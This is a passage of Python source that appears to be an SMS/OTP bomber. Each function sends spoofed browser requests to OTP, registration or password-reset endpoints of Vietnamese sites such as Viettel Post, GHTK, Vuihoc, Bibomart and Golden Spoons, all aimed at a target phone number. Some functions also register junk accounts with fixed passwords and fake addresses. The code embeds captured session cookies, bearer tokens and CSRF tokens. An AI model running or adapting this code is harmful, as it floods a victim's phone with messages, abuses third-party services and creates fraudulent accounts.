		'Sec-Fetch-Site': 'same-origin',
		'Sec-Fetch-User': '?1',
		'Upgrade-Insecure-Requests': '1',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	data = {
		'FormVerifyOtpModel.Phone': '',
		'FormVerifyOtpModel.Email': '',
		'FormVerifyOtpModel.Password': '',
		'FormVerifyOtpModel.UserId': '',
		'FormForgotPassword.Email': '',
		'FormForgotPassword.UserId': '',
		'FormForgotPassword.OtpRequestToken': 'hQJjQ5MHm/+Xhhl4WE/bgqiz4zCSvnT05qKj6TdLzs8KoYZsamRBy8gm8QhpxICqva9jHMo6V25AHvcBwxd1XKKwAEtKLyQEf4MzKeDh0xcoyQ1uuOGDCU3BIZUVmpbS2xVvglOZJs4srUSPHb+JLY+l+plhFg3xKvRJBLWpX0SSiip2/oxddKFM4tXwC0QGY8JYhI6UUF/8lwVKqM12H+cd4/DB3SEwaXkix8HEy+RpAnPCNw7N1ZjmTGxwP6cHz8lr6sEIg+mMXiOB/neVMK8xib3SiJf5p7RyzPf7J+CYANyeiU9YGQ0TZJFfSRHm9IEyW6PmxB4+4nh9h5CGU6/7EAw4924l',
		'FormRegister.FullName': 'quoc tien huy',
		'FormRegister.UserName': '',
		'FormRegister.Email': '',
		'FormRegister.Phone': sdt,
		'FormRegister.ConfirmPhone': 'False',
		'FormRegister.ConfirmEmail': 'False',
		'FormRegister.RequiredPhone': 'False',
		'FormRegister.RequiredEmail': 'False',
		'FormRegister.Provider': '',
		'FormRegister.ProviderUserId': '',
		'FormRegister.Password': '123123aA',
		'FormRegister.ConfirmPassword': '123123aA',
		'FormRegister.IsRegisterFromPhone': 'True',
		'FormRegister.UserId': '',
		'FormMergeModel.JsonListEmailConflict': '',
		'FormMergeModel.JsonListPhoneConflict': '',
		'FormMergeModel.EmailSelected': '',
		'FormMergeModel.PhoneSelected': '',
		'FormMergeModel.PhoneVerify': '',
		'FormMergeModel.EmailVerify': '',
		'FormMergeModel.IsRequiredSelect': 'False',
		'FormMergeModel.Password': '',
		'FormMergeModel.Provider': '',
		'FormMergeModel.ProviderUserId': '',
		'FormMergeModel.IsEmailVerified': 'False',
		'FormMergeModel.IsPhoneVerified': 'False',
		'FormNotMergeModel.Password': '',
		'FormNotMergeModel.Provider': '',
		'FormNotMergeModel.ProviderUserId': '',
		'FormNotMergeModel.UserSSOId': '',
		'FormNotMergeModel.EmailSelected': '',
		'FormNotMergeModel.PhoneSelected': '',
		'FormNotMergeModel.NotMergePhoneVerify': '',
		'FormNotMergeModel.NotMergeEmailVerify': '',
		'FormNotMergeModel.IsEmailVerified': 'False',
		'FormNotMergeModel.IsPhoneVerified': 'False',
		'FormLoginOTP.Username': '',
		'ReturnUrl': '/connect/authorize/callback?client_id=vtp.web&secret=vtp-web&scope=openid%20profile%20se-public-api%20offline_access&response_type=id_token%20token&state=abc&redirect_uri=https%3A%2F%2Fviettelpost.vn%2Fstart%2Flogin&nonce=2fm315xzemzryzwbsz8jfj',
		'ConfirmOtpType': 'Register',
		'UserClientId': '',
		'ClientId': '',
		'OTPCode1': '',
		'OTPCode2': '',
		'OTPCode3': '',
		'OTPCode4': '',
		'OTPCode5': '',
		'OTPCode6': '',
		'__RequestVerificationToken': 'CfDJ8ASZJlA33dJMoWx8wnezdv-9JDAZiojDWGeKRvEUJqdyE128lDNBqZyxK9-1bDuTNAgW17qbK9uBU6V-VwQFZywRBM06-A6m7VU2ACjP9_OVf1RWEqp2aTwboyIFSzmLAXCbIuwwASKM6jHPCb2IAJ0',
	}

	try:
		response = requests.post('https://id.viettelpost.vn/Account/SendOTPByPhone', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def ghtk(sdt):
	headers = {
		'accept': '*/*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'apptype': 'Web',
		'authorization': 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MzM1MDIzNSwidGVsIjoiMDM1NzE1NjMyMiIsImVtYWlsIjoiNjZiMzNmYTRmMjNjNEBnaHRrLmlvIiwiYWNjZXNzX3Rva2VuIjpudWxsLCJqd3QiOm51bGwsImludmFsaWRfYXQiOnsiZGF0ZSI6IjIwMjQtMDgtMTQgMTY6MzQ6MjguOTk1NjkwIiwidGltZXpvbmVfdHlwZSI6MywidGltZXpvbmUiOiJBc2lhXC9Ib19DaGlfTWluaCJ9fQ.nr08Xjl1uhmrMZAaDu3BBO5PPhyBnroiTD9SOrw1hgc',
		'content-type': 'application/json',
		'origin': 'https://khachhang.giaohangtietkiem.vn',
		'priority': 'u=1, i',
		'referer': 'https://khachhang.giaohangtietkiem.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'shop-code': '',
		'uniqdevice': '0b59bf2e-65f0-489a-9ecd-9619d146001f',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	json_data = {
		'name': 'GTC Shop',
		'tel': sdt,
		'password': '123123aA@',
		'confirm_password': '123123aA@',
		'first_address': '12 BC TIn',
		'province': 'An Giang',
		'province_id': '833',
		'district': 'Huyện Châu Phú',
		'district_id': '1470',
		'ward': 'Xã Bình Long',
		'ward_id': '16579',
		'hamlet': 'Ấp Bình Chiến',
		'hamlet_id': '114065',
	}

	response = requests.post(
		'https://web.giaohangtietkiem.vn/api/v1/register-shop/create-register-shop',
		headers=headers,
		json=json_data,
	)

	headers = {
		'accept': '*/*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'apptype': 'Web',
		'authorization': 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MzM1MDIzNywidGVsIjoiMDM1NzE1NjMyMSIsImVtYWlsIjoiNjZiMzNmYzVjOGI2MkBnaHRrLmlvIiwiYWNjZXNzX3Rva2VuIjpudWxsLCJqd3QiOm51bGwsImludmFsaWRfYXQiOnsiZGF0ZSI6IjIwMjQtMDgtMTQgMTY6MzU6MDEuODI2MDUwIiwidGltZXpvbmVfdHlwZSI6MywidGltZXpvbmUiOiJBc2lhXC9Ib19DaGlfTWluaCJ9fQ.th7fjWe_Z1_Aag1RQlDwQ_Q82k1cUkVrghVeJWIHqGI',
		'content-type': 'application/json',
		'origin': 'https://khachhang.giaohangtietkiem.vn',
		'priority': 'u=1, i',
		'referer': 'https://khachhang.giaohangtietkiem.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'shop-code': '',
		'uniqdevice': '0b59bf2e-65f0-489a-9ecd-9619d146001f',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	json_data = {
		'username': sdt,
		'card_images': [
			{
				'url': 'https://cache.giaohangtietkiem.vn/d/e569e3e6683d23d7de857156622c3703.png',
				'image_order': 1,
			},
			{
				'url': 'https://cache.giaohangtietkiem.vn/d/e8bd8e58171021dcb1bcac57487acf2e.png',
				'image_order': 2,
			},
		],
	}

	try:
		response = requests.post('https://web.giaohangtietkiem.vn/api/v1/shop/password/send-otp', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vuihoc(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'ja',
		'app-id': '3',
		'authorization': 'Bearer',
		'content-type': 'application/json',
		'origin': 'https://vuihoc.vn',
		'priority': 'u=1, i',
		'referer': 'https://vuihoc.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'send-from': 'WEB',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	json_data = {
		'mobile': sdt,
	}

	try:
		response = requests.post('https://api.vuihoc.vn/api/send-otp', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vnsc(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		'origin': 'https://invest.vnsc.vn',
		'priority': 'u=1, i',
		'referer': 'https://invest.vnsc.vn/',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	json_data = {
		'type': 'PHONE_VERIFICATION_OTP',
		'phone': sdt,
		'email': '',
	}

	try:
		response = requests.post('https://api.vinasecurities.com/auth/v1/otp', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def bibomart(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		'origin': 'https://bibomart.com.vn',
		'priority': 'u=1, i',
		'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Opera";v="112"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 OPR/112.0.0.0',
	}

	json_data = {
		'phone': sdt,
		'type': 1,
	}

	try:
		response = requests.post('https://prod.bibomart.net/customer_account/v2/otp/send', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def zl188(sdt):
	cookies = {
		'_require_login': '17',
		'XSRF-TOKEN': 'eyJpdiI6Imc3SlRHcXJlc0xEb0NHeWZtMjYyNGc9PSIsInZhbHVlIjoibDgrUzMwMEc5b0hqelQ2eFlpMDdseEhrVFlYMHZJcTdZVXVNelR3S0JudDAxTW9OTVBSYWdoeCtmTk5pTHNDM01JVDBzdHA0dVFBWTRnd0FpMzJTUnc9PSIsIm1hYyI6Ijk0MmRkOGZiNDk0ZTNjZGQzMDY3MGI3MjQ5ZWRiYmRlOGE0NGI5MDY4N2NmM2JiNmE3NGIzMTRlYmM5MzRhNGIifQ%3D%3D',
		'laravel_session': 'eyJpdiI6Im5acjNXaUZlb3V3MklSWmZGWjJralE9PSIsInZhbHVlIjoidGlGalVnSUN3aG9rVklKTUlhOWc4Z3ZubUJNdGROdmNhUDZnTE1GVTFsa3ZTTVhcL3U5THVKUTZPVFZZdUlDYlFlK3d6Mnh3RlU0aHBIcGtHNk9mbTBBPT0iLCJtYWMiOiI0MmZlZGNlYmU2ZGRhYTdjOWNkYTM2ODM1ZTkwNmM1M2M5MTJmNTBiNjZjODJkODQwNzdjZTMzYTJkOTdlN2NiIn0%3D',
	}

	headers = {
		'accept': '*/*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'cookie': '_require_login=17; XSRF-TOKEN=eyJpdiI6Imc3SlRHcXJlc0xEb0NHeWZtMjYyNGc9PSIsInZhbHVlIjoibDgrUzMwMEc5b0hqelQ2eFlpMDdseEhrVFlYMHZJcTdZVXVNelR3S0JudDAxTW9OTVBSYWdoeCtmTk5pTHNDM01JVDBzdHA0dVFBWTRnd0FpMzJTUnc9PSIsIm1hYyI6Ijk0MmRkOGZiNDk0ZTNjZGQzMDY3MGI3MjQ5ZWRiYmRlOGE0NGI5MDY4N2NmM2JiNmE3NGIzMTRlYmM5MzRhNGIifQ%3D%3D; laravel_session=eyJpdiI6Im5acjNXaUZlb3V3MklSWmZGWjJralE9PSIsInZhbHVlIjoidGlGalVnSUN3aG9rVklKTUlhOWc4Z3ZubUJNdGROdmNhUDZnTE1GVTFsa3ZTTVhcL3U5THVKUTZPVFZZdUlDYlFlK3d6Mnh3RlU0aHBIcGtHNk9mbTBBPT0iLCJtYWMiOiI0MmZlZGNlYmU2ZGRhYTdjOWNkYTM2ODM1ZTkwNmM1M2M5MTJmNTBiNjZjODJkODQwNzdjZTMzYTJkOTdlN2NiIn0%3D',
		'origin': 'https://188.com.vn',
		'priority': 'u=1, i',
		'referer': 'https://188.com.vn/dang-ky?urlreturn=https://188.com.vn',
		'sec-ch-ua': '"Opera";v="116", "Chromium";v="131", "Not_A Brand";v="24"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0',
		'x-csrf-token': '4KMnfF7jTrg7VbhqFm7eKxGv46otphQokZi5CeGV',
		'x-requested-with': 'XMLHttpRequest',
	}

	data = {
		'phone': sdt,
		'otp_type': '1',
	}

	try:
		response = requests.post('https://188.com.vn/get-token-auth-phone', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def goldenspoonszl(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		'origin': 'https://goldenspoons.com.vn',
		'priority': 'u=1, i',
		'referer': 'https://goldenspoons.com.vn/',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
	}

	json_data = {
		'phoneNumber': sdt,
		'type': 1,
		'language': 1,
		'provider': 2,
	}

	try:
		response = requests.post('https://backend2.tgss.vn/2e55ad4eb9ad4631b65efe18710b6feb/otp/send', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def goldenspoonszlresend(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		'origin': 'https://goldenspoons.com.vn',
		'priority': 'u=1, i',
		'referer': 'https://goldenspoons.com.vn/',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
	}

	json_data = {
		'phoneNumber': sdt,
		'type': 1,
		'language': 1,
		'provider': None,
	}

	try:
		response = requests.post('https://backend2.tgss.vn/2e55ad4eb9ad4631b65efe18710b6feb/otp/resend', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def goldenspoonssms(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		'origin': 'https://goldenspoons.com.vn',
		'priority': 'u=1, i',
		'referer': 'https://goldenspoons.com.vn/',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
	}

	json_data = {
		'phoneNumber': sdt,
		'type': 1,
		'language': 1,
		'provider': 1,
	}

	try:
		response = requests.post('https://backend2.tgss.vn/2e55ad4eb9ad4631b65efe18710b6feb/otp/send', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def goldenspoonssmsresend(sdt):
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/json',
		'origin': 'https://goldenspoons.com.vn',
		'priority': 'u=1, i',
		'referer': 'https://goldenspoons.com.vn/',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
	}

	json_data = {
		'phoneNumber': sdt,
		'type': 1,
		'language': 1,
		'provider': 1,
	}

	try:
		response = requests.post('https://backend2.tgss.vn/2e55ad4eb9ad4631b65efe18710b6feb/otp/resend', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def hoangphuc(sdt):
	cookies = {
		'mage-banners-cache-storage': '{}',
		'mage-cache-storage': '{}',
		'mage-cache-storage-section-invalidation': '{}',
		'form_key': 'JTtX1a62gBu8U3UN',
		'mage-messages': '',
		'recently_viewed_product': '{}',
		'recently_viewed_product_previous': '{}',
		'recently_compared_product': '{}',
		'recently_compared_product_previous': '{}',
		'product_data_storage': '{}',
		'PHPSESSID': 'd998f60e640fa72f86057c8958fb40ba',
		'mage-cache-sessid': 'true',
		'private_content_version': '0eab2366670393b2207e706a65ed9b4b',
		'section_data_ids': '{%22messages%22:null}',
	}

	headers = {
		'accept': 'application/json, text/javascript, */*; q=0.01',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'cookie': 'mage-banners-cache-storage={}; mage-cache-storage={}; mage-cache-storage-section-invalidation={}; form_key=JTtX1a62gBu8U3UN; mage-messages=; recently_viewed_product={}; recently_viewed_product_previous={}; recently_compared_product={}; recently_compared_product_previous={}; product_data_storage={}; PHPSESSID=d998f60e640fa72f86057c8958fb40ba; mage-cache-sessid=true; private_content_version=0eab2366670393b2207e706a65ed9b4b; section_data_ids={%22messages%22:null}',
		'origin': 'https://hoangphuconline.vn',
		'priority': 'u=1, i',
		'referer': 'https://hoangphuconline.vn/customer/account/create/',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'x-newrelic-id': 'UAcAUlZSARABVFlaBQYEVlUD',
		'x-requested-with': 'XMLHttpRequest',
	}

	data = {
		'action_type': '1',
		'tel': sdt,
		'form_key': 'JTtX1a62gBu8U3UN',
	}

	response = requests.post('https://hoangphuconline.vn/advancedlogin/otp/CheckValii/', cookies=cookies, headers=headers, data=data)
	print(response.text)


def trungsoncarezl(sdt): # cook ip
	cookies = {
		'popNewLogin': '0',
		'sid_customer_s_558c5': '2c6597c4decf004b58a4b188d65efafd-1-C',
		'checkacc': '0',
	}

	headers = {
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'Cookie': 'popNewLogin=0; sid_customer_s_558c5=2c6597c4decf004b58a4b188d65efafd-1-C; checkacc=0',
		'Origin': 'https://trungsoncare.com',
		'Referer': 'https://trungsoncare.com/auth-loginform/?return_url=index.php%3Fdispatch%3Dorders.search',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
		'X-Requested-With': 'XMLHttpRequest',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	params = {
		'dispatch': 'loginbyOTP',
	}

	data = {
		'func': 'getotp',
		'user_type': 'zalo',
		'read_policy': '1',
		'ip_code': '84',
		'user_login': sdt,
		'security_hash': '2e95aca90d025bc949785961ba432043',
	}

	try:
		response = requests.post('https://trungsoncare.com/index.php', params=params, cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def trungsoncaresms(sdt):
	cookies = {
		'popNewLogin': '0',
		'sid_customer_s_558c5': '2c6597c4decf004b58a4b188d65efafd-1-C',
		'checkacc': '0',
	}

	headers = {
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'Cookie': 'popNewLogin=0; sid_customer_s_558c5=2c6597c4decf004b58a4b188d65efafd-1-C; checkacc=0',
		'Origin': 'https://trungsoncare.com',
		'Referer': 'https://trungsoncare.com/auth-loginform/?return_url=index.php%3Fdispatch%3Dprofiles.update',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
		'X-Requested-With': 'XMLHttpRequest',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	params = {
		'dispatch': 'loginbyOTP',
	}

	data = {
		'func': 'getotp',
		'user_type': 'sms',
		'read_policy': '1',
		'ip_code': '84',
		'user_login': sdt,
		'security_hash': '2e95aca90d025bc949785961ba432043',
	}

	try:
		response = requests.post('https://trungsoncare.com/index.php', params=params, cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def kkfashion(sdt):
	cookies = {
		'jpresta_cache_context': 'e67fa49f-162d-11ee-9cf4-0692000019e5',
		'_qg_fts': '1721578581',
		'QGUserId': '1896938940101377',
		'_qg_pushrequest': 'true',
		'_qg_cm': '1',
		'PrestaShop-7cbf831598fa6791cd6d07d5b5873d26': 'def502007b8c8eb61736105deec2c85b445e6b2b827b1c9881ead4a1ec5871091282a04d8ff5014f99895733add04bfa3275048c602279d788847264d33d990cebe62d9a15000217ffdd531574e2cdc2848c276e0739404447439d8ce193208fe23a7ec6d710571ea52c1105a2d4d7ee79614b41e1b48de782c3410d1f20ac399f7a0922ff7e5643597bb8cde4bee8dc764d41bec75afe39a9c71c942627ed995e9f5bddc231678f21cf69365f0cf548bc67a888ef420102a0b233c45ed78b2d262d36518dc78b61f6eff594c9e2af4b11e3f25edd',
		'PHPSESSID': 'd6e6f38ea2j2tf3m264h26599v',
		'PrestaShop-03bfe1c20f5691800e1f882876466fe7': 'def50200a1276f3d7b88be6bf9b7363cc6a59f6ba6b1453cb3b46c0633940c04a97756272df36d87542e8a27e57038d4b7936ffed9c1e753d9ee9a30effd837ab2846cf4d3a67fd12c07b04e5aa5c8aaf0be9f8aeecf4c685c42eb85987277010284ddcad86163c8ee6cb7ff98c89909d3de555a7f7fdc5bdbdd9c31bd8882e2dcb962799979fdab88a49b719d3cdaef4617f0c7c735099ae76dd72c8afaa66ce54698d12810f5d9cae8add5a54fc79cab7aaa016f23fb78ac404c03a9ce81a78abaa2cf793ff38929e312c6182028b27dc77105c3c0d5022c5ba4674d25b3a11982034a8080d39601ad371dd8ec95fab4e776f1688c25428aee70f107ce7693a30156b6993e7a777e528a68c86c822cc375ccfa629cf58990ed',
	}

	headers = {
		'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'cache-control': 'max-age=0',
		'content-type': 'application/x-www-form-urlencoded',
		# 'cookie': 'jpresta_cache_context=e67fa49f-162d-11ee-9cf4-0692000019e5; _qg_fts=1721578581; QGUserId=1896938940101377; _qg_pushrequest=true; _qg_cm=1; PrestaShop-7cbf831598fa6791cd6d07d5b5873d26=def502007b8c8eb61736105deec2c85b445e6b2b827b1c9881ead4a1ec5871091282a04d8ff5014f99895733add04bfa3275048c602279d788847264d33d990cebe62d9a15000217ffdd531574e2cdc2848c276e0739404447439d8ce193208fe23a7ec6d710571ea52c1105a2d4d7ee79614b41e1b48de782c3410d1f20ac399f7a0922ff7e5643597bb8cde4bee8dc764d41bec75afe39a9c71c942627ed995e9f5bddc231678f21cf69365f0cf548bc67a888ef420102a0b233c45ed78b2d262d36518dc78b61f6eff594c9e2af4b11e3f25edd; PHPSESSID=d6e6f38ea2j2tf3m264h26599v; PrestaShop-03bfe1c20f5691800e1f882876466fe7=def50200a1276f3d7b88be6bf9b7363cc6a59f6ba6b1453cb3b46c0633940c04a97756272df36d87542e8a27e57038d4b7936ffed9c1e753d9ee9a30effd837ab2846cf4d3a67fd12c07b04e5aa5c8aaf0be9f8aeecf4c685c42eb85987277010284ddcad86163c8ee6cb7ff98c89909d3de555a7f7fdc5bdbdd9c31bd8882e2dcb962799979fdab88a49b719d3cdaef4617f0c7c735099ae76dd72c8afaa66ce54698d12810f5d9cae8add5a54fc79cab7aaa016f23fb78ac404c03a9ce81a78abaa2cf793ff38929e312c6182028b27dc77105c3c0d5022c5ba4674d25b3a11982034a8080d39601ad371dd8ec95fab4e776f1688c25428aee70f107ce7693a30156b6993e7a777e528a68c86c822cc375ccfa629cf58990ed',
		'origin': 'https://www.kkfashion.vn',
		'priority': 'u=0, i',
		'referer': 'https://www.kkfashion.vn/dang-nhap?create_account=1',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'document',
		'sec-fetch-mode': 'navigate',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-user': '?1',
		'upgrade-insecure-requests': '1',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
	}

	params = {
		'create_account': '1',
	}
	random_email = generate_random_email()
	data = {
		'username': 'tran dat',
		'phone': sdt,
		'email': random_email,
		'password': '123123aA@',
		'city': 'Thành phố Cần Thơ',
		'district': 'Huyện Cờ Đỏ',
		'ward': 'Thới Xuân',
		'address2': 'Thới Xuân - Huyện Cờ Đỏ',
		'address1': '22 tan te3 ',
		'submitCreate': '1',
	}

